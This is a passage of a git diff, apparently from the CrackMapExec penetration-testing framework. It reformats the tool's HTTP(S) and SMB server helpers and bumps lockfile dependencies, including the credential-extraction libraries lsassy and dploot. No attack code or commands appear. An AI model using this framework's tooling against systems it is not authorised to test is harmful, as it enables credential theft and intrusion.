self.server.context.log = server_logger self.server.module.on_request(self.server.context, self) def do_POST(self): - if hasattr(self.server.module, 'on_response'): - server_logger = CMEAdapter(extra={'module_name': self.server.module.name.upper(), 'host': self.client_address[0]}) + if hasattr(self.server.module, "on_response"): + server_logger = CMEAdapter( + extra={ + "module_name": self.server.module.name.upper(), + "host": self.client_address[0], + } + ) self.server.context.log = server_logger self.server.module.on_response(self.server.context, self) @@ -36,14 +50,13 @@ class RequestHandler(BaseHTTPRequestHandler): """ try: self.server.hosts.remove(self.client_address[0]) - if hasattr(self.server.module, 'on_shutdown'): + if hasattr(self.server.module, "on_shutdown"): self.server.module.on_shutdown(self.server.context, self.server.connection) except ValueError: pass class CMEServer(threading.Thread): - def __init__(self, module, context, logger, srv_host, port, server_type="https"): try: threading.Thread.__init__(self) @@ -56,16 +69,14 @@ class CMEServer(threading.Thread): self.cert_path = os.path.join(os.path.expanduser("~/.cme"), "cme.pem") self.server.track_host = self.track_host - logger.debug('CME server type: ' + server_type) - if server_type == 'https': + logger.debug("CME server type: " + server_type) + if server_type == "https": self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True) except Exception as e: errno, message = e.args - if errno == 98 and message == 'Address already in use': - logger.error( - "Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port" - ) + if errno == 98 and message == "Address already in use": + logger.error("Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port") else: logger.error(f"Error starting HTTP(S) server: {message}") diff --git a/cme/servers/smb.py b/cme/servers/smb.py index 1fbce231..b89333a5 100755 --- a/cme/servers/smb.py +++ b/cme/servers/smb.py @@ -2,23 +2,32 @@ # -*- coding: utf-8 -*- import threading +from threading import enumerate from sys import exit from impacket import smbserver class CMESMBServer(threading.Thread): - - def __init__(self, logger, share_name, share_path="/tmp/cme_hosted", listen_address="0.0.0.0", listen_port=445, verbose=False): + def __init__( + self, + logger, + share_name, + share_path="/tmp/cme_hosted", + listen_address="0.0.0.0", + listen_port=445, + verbose=False, + ): try: threading.Thread.__init__(self) self.server = smbserver.SimpleSMBServer(listen_address, listen_port) self.server.addShare(share_name.upper(), share_path) - if verbose: self.server.setLogFile('') + if verbose: + self.server.setLogFile("") self.server.setSMB2Support(True) - self.server.setSMBChallenge('') + self.server.setSMBChallenge("") except Exception as e: errno, message = e.args - if errno == 98 and message == 'Address already in use': + if errno == 98 and message == "Address already in use": logger.error("Error starting SMB server on port 445: the port is already in use") else: logger.error(f"Error starting SMB server on port 445: {message}") @@ -34,9 +43,9 @@ class CMESMBServer(threading.Thread): pass def shutdown(self): - # TODO: should fine the proper way + # TODO: should fine the proper way # make sure all the threads are killed - for thread in threading.enumerate(): + for thread in enumerate(): if thread.is_alive(): try: self._stop() diff --git a/poetry.lock b/poetry.lock index d3c6eeaf..1a2054b1 100644 --- a/poetry.lock +++ b/poetry.lock @@ -129,38 +129,37 @@ files = [ [[package]] name = "arc4" -version = "0.3.0" +version = "0.4.0" description = "A small and insanely fast ARCFOUR (RC4) cipher implementation of Python" category = "main" optional = false python-versions = "*" files = [ - {file = "arc4-0.3.0-cp27-cp27m-macosx_10_14_x86_64.whl", hash = "sha256:f0217e81e7796ad7ab2cee5396f3e57f9988f9c1560b1e7476e65995b84f754e"}, - {file = "arc4-0.3.0-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:f51499e1748e8b4a817c87d4b67b1be7723dad089b2bd274069401b8367603fa"}, - {file = "arc4-0.3.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1844cfe6c3573a9b9b563311e1c41ddb1291d45456525b86b537a70d2e256b4d"}, - {file = "arc4-0.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:ccb2e898e94aed5c2618e8abc4414531dd2af22458d531b38038bdc31adc25b6"}, - {file = "arc4-0.3.0-cp35-cp35m-macosx_10_14_x86_64.whl", hash = "sha256:1a62d6aeacb3bf34305e666115516bfa5560f898318ffcd3ead5be487253f86c"}, - {file = "arc4-0.3.0-cp35-cp35m-win_amd64.whl", hash = "sha256:ce4dcca641435356031924c286bf947ec3ea904dfedc628ecfdad0e30eec5a92"}, - {file = "arc4-0.3.0-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:93dc5bc5fa183c2d8857887a48a6a5602e01a31eebb3010b311a28faf8e106e3"}, - {file = "arc4-0.3.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eed7c82897de0eed3c40f0a3518ff8a355d186fbaef30d77557259d472d18422"}, - {file = "arc4-0.3.0-cp36-cp36m-win_amd64.whl", hash = "sha256:cff508c097f6136772bcfbd814f6c570915b8e2e69f4645331940150a4050f44"}, - {file = "arc4-0.3.0-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:469065fc9e205d58d2f5c4a22ca72965d7cd9ee38f2c7e8a5e9e8fb33a2576c1"}, - {file = "arc4-0.3.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1dea8eb2fc67d79a05b54fd53b4966ab7b111fba7d3ca9fa529949893208745c"}, - {file = "arc4-0.3.0-cp37-cp37m-win_amd64.whl", hash = "sha256:9c0aeba9f0ddfa466c25364e81906c44afe420701839cc42f45200c3d198965e"}, - {file = "arc4-0.3.0-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:433bcd51597f0a2caf4d743c3719bcdd415a9e74f5c359561052c6b6b4683014"}, - {file = "arc4-0.3.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dc9a1f3be5f22e11cad2f93cef88ee9f17686dfef0617230e266480553874bb0"}, - {file = "arc4-0.3.0-cp38-cp38-win_amd64.whl", hash = "sha256:095adcb9082de64c8f964dcbd0093f843aa27a30751349a202347109431fcd7e"}, - {file = "arc4-0.3.0-cp39-cp39-macosx_10_15_x86_64.whl", hash = "sha256:2b44529f4372f93f9ee1ca7158ba7314e236999bdf44fae0bc05f166dbb53f50"}, - {file = "arc4-0.3.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e99beb05c525a43d2d80d6abf2526f6352505f1aa3109341692f944529f380a"}, - {file = "arc4-0.3.0-cp39-cp39-win_amd64.whl", hash = "sha256:5b65b98b319dfb7984b062bd9cf1b482e63d9f5915fee7dd67886f8c2bcd9105"}, - {file = "arc4-0.3.0-pp27-pypy_73-macosx_10_7_x86_64.whl", hash = "sha256:486a851aac032d186dee25745496b389b1ee792e03fa6f149acecc058e4863ad"}, - {file = "arc4-0.3.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:7142c6b847fb9521787c63ae372571c224df90ac70eb00651c3cc3b655b4577a"}, - {file = "arc4-0.3.0-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:309b0c5ad9692a271f405787bde274a18a11a474cbacc9decda437a48c6274d5"}, - {file = "arc4-0.3.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:17d4609e782e4bd6badd475091f5f12680cbaad62d0381b2d015de7bb3a5e321"}, - {file = "arc4-0.3.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:1958a1635bc5ad0aa0e84762dc76e0cf1b75e9784eb9517731b11f3e143b0c0d"}, - {file = "arc4-0.3.0-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:86d74a47687d848475cc1fabf2af926ef282e857147b910193f4060e5da2e651"}, - {file = "arc4-0.3.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:2196ccf8823a7dcd4d89d30249d9c5de740846d85d0fcb4566124f3ad9b6f7f1"}, - {file = "arc4-0.3.0.tar.gz", hash = "sha256:aeccd1c42e9d7f2fc336bafa90503ab2cd8a1beeda5d71c1134a2c1163ba9dce"}, + {file = "arc4-0.4.0-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:d27d6cb7fef8787c3cb91c06a6adb2315551f42af3b4142d45703d5303e6ad2b"}, + {file = "arc4-0.4.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f20540dd6ab695e6d1205a5edb4df416688ef39242cbbec4ad0b534e38ffe55f"}, + {file = "arc4-0.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:cd9c4fc470019e184f72aacc5fdcb2a3364e7c174aaa6de2486ca18e9d377a5d"}, + {file = "arc4-0.4.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3cdae371789b621927866a1b10862ea20dbe519b1b86cb725ff2dd95525c704f"}, + {file = "arc4-0.4.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c0b9adcf7ab7ef7ca0ab60cf7e2dd8886fbc6610471ea9a8c7fb34416265451c"}, + {file = "arc4-0.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:9b9d14ed487f373c0d47b97262a3f26d6f03e725d640c4c230a51f5f3dd8a6b4"}, + {file = "arc4-0.4.0-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:45aba6a58fd8d83ec8fa14d8e99f686f9317667c19adca56c5eaa59aae630b3d"}, + {file = "arc4-0.4.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e2e52410c5dde5cd7a89eb32440ad94de99b6bb2d6c886a099455b71f68dee3"}, + {file = "arc4-0.4.0-cp37-cp37m-win_amd64.whl", hash = "sha256:be661d59b250e83753fd0aa7dfb0796f1475c19be929d581805e1a1c998fb959"}, + {file = "arc4-0.4.0-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:2104d551744e9b851a12c144b512244da224ab4f5f68ed28a45a599937ead1cd"}, + {file = "arc4-0.4.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:62ed00203dee645d99422a1dc1efdd5ca108048e8c047a239c3be0a690f6abb6"}, + {file = "arc4-0.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:eb5eb33e3c68d68c548355aead25843502d3d1b909fa2e3b3f2520d467708af5"}, + {file = "arc4-0.4.0-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:779d1b53c75e66edd023b9240dbd00df7b241ab50b6a4ea86ab97117dbbff86f"}, + {file = "arc4-0.4.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b935c41b8691001b6a6746c2611a0a76962720a83688501dac8f3c74f9db4f34"}, + {file = "arc4-0.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:f419c08cfb2cc8f374725a76dd8fd40d87b6a0e236774cb3307f2f51f6794c1f"}, + {file = "arc4-0.4.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:19d130ec333d9be891b156c02a4436b002ac486bc072644a453fabdfbe0354f8"}, + {file = "arc4-0.4.0-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e284d731da57f3c036c2497db47baf198057777f71670fe84d84347615df3e9f"}, + {file = "arc4-0.4.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:24d5aaf57494219651e15e260c4d3747c99764b94ea6fc46b09031c3ed2ef9d3"}, + {file = "arc4-0.4.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b1c72ceaff1b366d25ca5945ed381a520a8116195b7a4b0a69aaccac3f00d7ae"}, + {file = "arc4-0.4.0-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9954ee25a0687b1076791ae92cacb20c152fad2bf5bdac608f4c9472d76e83f0"}, + {file = "arc4-0.4.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:15603d81bbb990038dfe7f7a424d16549161b2d5c1e216097cb065023895f398"}, + {file = "arc4-0.4.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:516e4fb4543e2a7c958b6fffb7658ba905b25b30af387b54c872418d87192fe6"}, + {file = "arc4-0.4.0-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e5137eeb8f4c6f0c3bd23731c58359d554722b08119156058c99c337e78adb0"}, + {file = "arc4-0.4.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:3da0dd7b6dd38c71af105aebef42bf587a624a0b26231717f1dcc53f36ab14d6"}, + {file = "arc4-0.4.0.tar.gz", hash = "sha256:d431b53d11b24d62521dbbd06d755bf9d6d11a03cc7bbbdf37a13a12ee0747b6"}, ] [[package]] @@ -246,25 +245,6 @@ files = [ [package.dependencies] asn1crypto = "*" -[[package]] -name = "attrs" -version = "22.2.0" -description = "Classes Without Boilerplate" -category = "main" -optional = false -python-versions = ">=3.6" -files = [ - {file = "attrs-22.2.0-py3-none-any.whl", hash = "sha256:29e95c7f6778868dbd49170f98f8818f78f3dc5e0e37c0b1f474e3561b240836"}, - {file = "attrs-22.2.0.tar.gz", hash = "sha256:c9227bfc2f01993c03f68db37d1d15c9690188323c067c641f1a35ca58185f99"}, -] - -[package.extras] -cov = ["attrs[tests]", "coverage-enable-subprocess", "coverage[toml] (>=5.3)"] -dev = ["attrs[docs,tests]"] -docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier", "zope.interface"] -tests = ["attrs[tests-no-zope]", "zope.interface"] -tests-no-zope = ["cloudpickle", "cloudpickle", "hypothesis", "hypothesis", "mypy (>=0.971,<0.990)", "mypy (>=0.971,<0.990)", "pympler", "pympler", "pytest (>=4.3.0)", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-mypy-plugins", "pytest-xdist[psutil]", "pytest-xdist[psutil]"] - [[package]] name = "bcrypt" version = "4.0.1" @@ -302,14 +282,14 @@ typecheck = ["mypy"] [[package]] name = "beautifulsoup4" -version = "4.12.0" +version = "4.12.2" description = "Screen-scraping library" category = "main" optional = false python-versions = ">=3.6.0" files = [ - {file = "beautifulsoup4-4.12.0-py3-none-any.whl", hash = "sha256:2130a5ad7f513200fae61a17abb5e338ca980fa28c439c0571014bc0217e9591"}, - {file = "beautifulsoup4-4.12.0.tar.gz", hash = "sha256:c5fceeaec29d09c84970e47c65f2f0efe57872f7cff494c9691a26ec0ff13234"}, + {file = "beautifulsoup4-4.12.2-py3-none-any.whl", hash = "sha256:bd2520ca0d9d7d12694a53d44ac482d181b4ec1888909b035a3dbf40d0f57d4a"}, + {file = "beautifulsoup4-4.12.2.tar.gz", hash = "sha256:492bbc69dca35d12daac71c4db1bfff0c876c00ef4a2ffacce226d4638eb72da"}, ] [package.dependencies] @@ -390,14 +370,14 @@ beautifulsoup4 = "*" [[package]] name = "certifi" -version = "2022.12.7" +version = "2023.5.7" description = "Python package for providing Mozilla's CA Bundle." category = "main" optional = false python-versions = ">=3.6" files = [ - {file = "certifi-2022.12.7-py3-none-any.whl", hash = "sha256:4ad3232f5e926d6718ec31cfc1fcadfde020920e278684144551c91769c7bc18"}, - {file = "certifi-2022.12.7.tar.gz", hash = "sha256:35824b4c3a97115964b408844d64aa14db1cc518f6562e8d7261699d1350a9e3"}, + {file = "certifi-2023.5.7-py3-none-any.whl", hash = "sha256:c6c2e98f5c7869efca1f8916fed228dd91539f9f1b444c314c06eef02980c716"}, + {file = "certifi-2023.5.7.tar.gz", hash = "sha256:0f0d56dc5a6ad56fd4ba36484d6cc34451e1c6548c61daad8c320169f91eddc7"}, ] [[package]] @@ -592,35 +572,31 @@ files = [ [[package]] name = "cryptography" -version = "39.0.2" +version = "40.0.2" description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." category = "main" optional = false python-versions = ">=3.6" files = [ - {file = "cryptography-39.0.2-cp36-abi3-macosx_10_12_universal2.whl", hash = "sha256:2725672bb53bb92dc7b4150d233cd4b8c59615cd8288d495eaa86db00d4e5c06"}, - {file = "cryptography-39.0.2-cp36-abi3-macosx_10_12_x86_64.whl", hash = "sha256:23df8ca3f24699167daf3e23e51f7ba7334d504af63a94af468f468b975b7dd7"}, - {file = "cryptography-39.0.2-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:eb40fe69cfc6f5cdab9a5ebd022131ba21453cf7b8a7fd3631f45bbf52bed612"}, - {file = "cryptography-39.0.2-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bc0521cce2c1d541634b19f3ac661d7a64f9555135e9d8af3980965be717fd4a"}, - {file = "cryptography-39.0.2-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ffd394c7896ed7821a6d13b24657c6a34b6e2650bd84ae063cf11ccffa4f1a97"}, - {file = "cryptography-39.0.2-cp36-abi3-manylinux_2_24_x86_64.whl", hash = "sha256:e8a0772016feeb106efd28d4a328e77dc2edae84dfbac06061319fdb669ff828"}, - {file = "cryptography-39.0.2-cp36-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:8f35c17bd4faed2bc7797d2a66cbb4f986242ce2e30340ab832e5d99ae60e011"}, - {file = "cryptography-39.0.2-cp36-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:b49a88ff802e1993b7f749b1eeb31134f03c8d5c956e3c125c75558955cda536"}, - {file = "cryptography-39.0.2-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:5f8c682e736513db7d04349b4f6693690170f95aac449c56f97415c6980edef5"}, - {file = "cryptography-39.0.2-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:d7d84a512a59f4412ca8549b01f94be4161c94efc598bf09d027d67826beddc0"}, - {file = "cryptography-39.0.2-cp36-abi3-win32.whl", hash = "sha256:c43ac224aabcbf83a947eeb8b17eaf1547bce3767ee2d70093b461f31729a480"}, - {file = "cryptography-39.0.2-cp36-abi3-win_amd64.whl", hash = "sha256:788b3921d763ee35dfdb04248d0e3de11e3ca8eb22e2e48fef880c42e1f3c8f9"}, - {file = "cryptography-39.0.2-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:d15809e0dbdad486f4ad0979753518f47980020b7a34e9fc56e8be4f60702fac"}, - {file = "cryptography-39.0.2-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:50cadb9b2f961757e712a9737ef33d89b8190c3ea34d0fb6675e00edbe35d074"}, - {file = "cryptography-39.0.2-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:103e8f7155f3ce2ffa0049fe60169878d47a4364b277906386f8de21c9234aa1"}, - {file = "cryptography-39.0.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:6236a9610c912b129610eb1a274bdc1350b5df834d124fa84729ebeaf7da42c3"}, - {file = "cryptography-39.0.2-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:e944fe07b6f229f4c1a06a7ef906a19652bdd9fd54c761b0ff87e83ae7a30354"}, - {file = "cryptography-39.0.2-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:35d658536b0a4117c885728d1a7032bdc9a5974722ae298d6c533755a6ee3915"}, - {file = "cryptography-39.0.2-pp39-pypy39_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:30b1d1bfd00f6fc80d11300a29f1d8ab2b8d9febb6ed4a38a76880ec564fae84"}, - {file = "cryptography-39.0.2-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:e029b844c21116564b8b61216befabca4b500e6816fa9f0ba49527653cae2108"}, - {file = "cryptography-39.0.2-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fa507318e427169ade4e9eccef39e9011cdc19534f55ca2f36ec3f388c1f70f3"}, - {file = "cryptography-39.0.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8bc0008ef798231fac03fe7d26e82d601d15bd16f3afaad1c6113771566570f3"}, - {file = "cryptography-39.0.2.tar.gz", hash = "sha256:bc5b871e977c8ee5a1bbc42fa8d19bcc08baf0c51cbf1586b0e87a2694dde42f"}, + {file = "cryptography-40.0.2-cp36-abi3-macosx_10_12_universal2.whl", hash = "sha256:8f79b5ff5ad9d3218afb1e7e20ea74da5f76943ee5edb7f76e56ec5161ec782b"}, + {file = "cryptography-40.0.2-cp36-abi3-macosx_10_12_x86_64.whl", hash = "sha256:05dc219433b14046c476f6f09d7636b92a1c3e5808b9a6536adf4932b3b2c440"}, + {file = "cryptography-40.0.2-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4df2af28d7bedc84fe45bd49bc35d710aede676e2a4cb7fc6d103a2adc8afe4d"}, + {file = "cryptography-40.0.2-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0dcca15d3a19a66e63662dc8d30f8036b07be851a8680eda92d079868f106288"}, + {file = "cryptography-40.0.2-cp36-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:a04386fb7bc85fab9cd51b6308633a3c271e3d0d3eae917eebab2fac6219b6d2"}, + {file = "cryptography-40.0.2-cp36-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:adc0d980fd2760c9e5de537c28935cc32b9353baaf28e0814df417619c6c8c3b"}, + {file = "cryptography-40.0.2-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:d5a1bd0e9e2031465761dfa920c16b0065ad77321d8a8c1f5ee331021fda65e9"}, + {file = "cryptography-40.0.2-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:a95f4802d49faa6a674242e25bfeea6fc2acd915b5e5e29ac90a32b1139cae1c"}, + {file = "cryptography-40.0.2-cp36-abi3-win32.whl", hash = "sha256:aecbb1592b0188e030cb01f82d12556cf72e218280f621deed7d806afd2113f9"}, + {file = "cryptography-40.0.2-cp36-abi3-win_amd64.whl", hash = "sha256:b12794f01d4cacfbd3177b9042198f3af1c856eedd0a98f10f141385c809a14b"}, + {file = "cryptography-40.0.2-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:142bae539ef28a1c76794cca7f49729e7c54423f615cfd9b0b1fa90ebe53244b"}, + {file = "cryptography-40.0.2-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:956ba8701b4ffe91ba59665ed170a2ebbdc6fc0e40de5f6059195d9f2b33ca0e"}, + {file = "cryptography-40.0.2-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:4f01c9863da784558165f5d4d916093737a75203a5c5286fde60e503e4276c7a"}, + {file = "cryptography-40.0.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:3daf9b114213f8ba460b829a02896789751626a2a4e7a43a28ee77c04b5e4958"}, + {file = "cryptography-40.0.2-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:48f388d0d153350f378c7f7b41497a54ff1513c816bcbbcafe5b829e59b9ce5b"}, + {file = "cryptography-40.0.2-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c0764e72b36a3dc065c155e5b22f93df465da9c39af65516fe04ed3c68c92636"}, + {file = "cryptography-40.0.2-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:cbaba590180cba88cb99a5f76f90808a624f18b169b90a4abb40c1fd8c19420e"}, + {file = "cryptography-40.0.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7a38250f433cd41df7fcb763caa3ee9362777fdb4dc642b9a349721d2bf47404"}, + {file = "cryptography-40.0.2.tar.gz", hash = "sha256:c33c0d32b8594fa647d2e01dbccc303478e16fdd7cf98652d5b3ed11aa5e5c99"}, ] [package.dependencies] @@ -629,10 +605,10 @@ cffi = ">=1.12" [package.extras] docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"] docstest = ["pyenchant (>=1.6.11)", "sphinxcontrib-spelling (>=4.0.1)", "twine (>=1.12.0)"] -pep8test = ["black", "check-manifest", "mypy", "ruff", "types-pytz", "types-requests"] +pep8test = ["black", "check-manifest", "mypy", "ruff"] sdist = ["setuptools-rust (>=0.11.4)"] ssh = ["bcrypt (>=3.1.5)"] -test = ["hypothesis (>=1.11.4,!=3.79.2)", "iso8601", "pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-shard (>=0.1.2)", "pytest-subtests", "pytest-xdist", "pytz"] +test = ["iso8601", "pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-shard (>=0.1.2)", "pytest-subtests", "pytest-xdist"] test-randomorder = ["pytest-randomly"] tox = ["tox"] @@ -674,18 +650,18 @@ wmi = ["wmi (>=1.5.1,<2.0.0)"] [[package]] name = "dploot" -version = "2.1.20" +version = "2.1.21" description = "DPAPI looting remotely in Python" category = "main" optional = false python-versions = ">=3.7,<4.0" files = [ - {file = "dploot-2.1.20-py3-none-any.whl", hash = "sha256:1258a91a96ca44bee01b935488e55d9e370035c1a973d9dabfb17f863e3a116c"}, - {file = "dploot-2.1.20.tar.gz", hash = "sha256:9fd884d31fc63682e32a5a2bb0177dd0272221749187afc95cda2759ca277dcd"}, + {file = "dploot-2.1.21-py3-none-any.whl", hash = "sha256:7c86bbe7eb87b7ba1f4689c306e64f91ea6d7567b22ba7920b5643d892b20275"}, + {file = "dploot-2.1.21.tar.gz", hash = "sha256:35554cb83887ef1cfd9bae41c638c8509b8a08e4d8aafd37d8f6e35b3de29653"}, ] [package.dependencies] -cryptography = ">=39.0.1,<40.0.0" +cryptography = ">=40.0.1,<41.0.0" impacket = ">=0.10.0,<0.11.0" lxml = "4.9.2" pyasn1 = ">=0.4.8,<0.5.0" @@ -736,14 +712,14 @@ pyflakes = ">=2.5.0,<2.6.0" [[package]] name = "flask" -version = "2.2.3" +version = "2.2.5" description = "A simple framework for building complex web applications." category = "main" optional = false python-versions = ">=3.7" files = [ - {file = "Flask-2.2.3-py3-none-any.whl", hash = "sha256:c0bec9477df1cb867e5a67c9e1ab758de9cb4a3e52dd70681f59fa40a62b3f2d"}, - {file = "Flask-2.2.3.tar.gz", hash = "sha256:7eb373984bf1c770023fce9db164ed0c3353cd0b53f130f4693da0ca756a2e6d"}, + {file = "Flask-2.2.5-py3-none-any.whl", hash = "sha256:58107ed83443e86067e41eff4631b058178191a355886f8e479e347fa1285fdf"}, + {file = "Flask-2.2.5.tar.gz", hash = "sha256:edee9b0a7ff26621bd5a8c10ff484ae28737a2410d99b0bb9a6850c7fb977aa0"}, ] [package.dependencies] @@ -856,7 +832,7 @@ files = [ [[package]] name = "impacket" -version = "0.10.1.dev1+20230316.112532.f0ac44bd" +version = "0.10.1.dev1+20230518.215801.5882b018" description = "Network protocols Constructors and Dissectors" category = "main" optional = false @@ -872,6 +848,7 @@ future = "*" ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" ldapdomaindump = ">=0.9.0" pyasn1 = ">=0.2.3" +pyasn1_modules = "*" pycryptodomex = "*" pyOpenSSL = ">=21.0.0" six = "*" @@ -879,8 +856,8 @@ six = "*" [package.source] type = "git" url = "https://github.com/mpgn/impacket.git" -reference = "master" -resolved_reference = "f0ac44bd7bb85581e01a30f26899c4d9931a6d5e" +reference = "gkdi" +resolved_reference = "5882b0188ce26d437e6abb6e2b46965b475f784e" [[package]] name = "importlib-metadata" @@ -1043,20 +1020,20 @@ ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" [[package]] name = "lsassy" -version = "3.1.6" +version = "3.1.8" description = "Python library to extract credentials from lsass remotely" category = "main" optional = false python-versions = ">=3.6" files = [ - {file = "lsassy-3.1.6-py3-none-any.whl", hash = "sha256:d1a0e1d57ad5e969b09b5b039e367a189fad19d45ab7299aee4081d4abdf66a6"}, - {file = "lsassy-3.1.6.tar.gz", hash = "sha256:50b6b44331b606e67087cd07edcb0e3f256dda32e59da633d068deb378df657a"}, + {file = "lsassy-3.1.8-py3-none-any.whl", hash = "sha256:1b3f6220bc18c8ce751b7f3e790385434cba5593376f3b44b56cc46e2f5bfda0"}, + {file = "lsassy-3.1.8.tar.gz", hash = "sha256:95e13d9ec2f0c2b3450ea5499b04c4dcd231aa6a5f13cf066d9354db36c70b28"}, ] [package.dependencies] impacket = "*" netaddr = "*" -pypykatz = ">=0.6.2" +pypykatz = ">=0.6.3" rich = "*" [[package]] @@ -1423,13 +1400,13 @@ files = [ [[package]] name = "neo4j" -version = "4.4.10" +version = "4.4.11" description = "Neo4j Bolt driver for Python" category = "main" optional = false python-versions = ">=3.6" files = [ - {file = "neo4j-4.4.10.tar.gz", hash = "sha256:26db4f9c8f628e53bda62f15cf2a7bfac6e2073e962da761c7164b6b122fca44"}, + {file = "neo4j-4.4.11.tar.gz", hash = "sha256:2fb4693d524e7661ed6b0ea5b4e3a6272dba2567809ecd1d63f1c896ebcfc241"}, ] [package.dependencies] @@ -1464,14 +1441,14 @@ asn1crypto = ">=1.5.1" [[package]] name = "packaging" -version = "23.0" +version = "23.1" description = "Core utilities for Python packages" category = "main" optional = false python-versions = ">=3.7" files = [ - {file = "packaging-23.0-py3-none-any.whl", 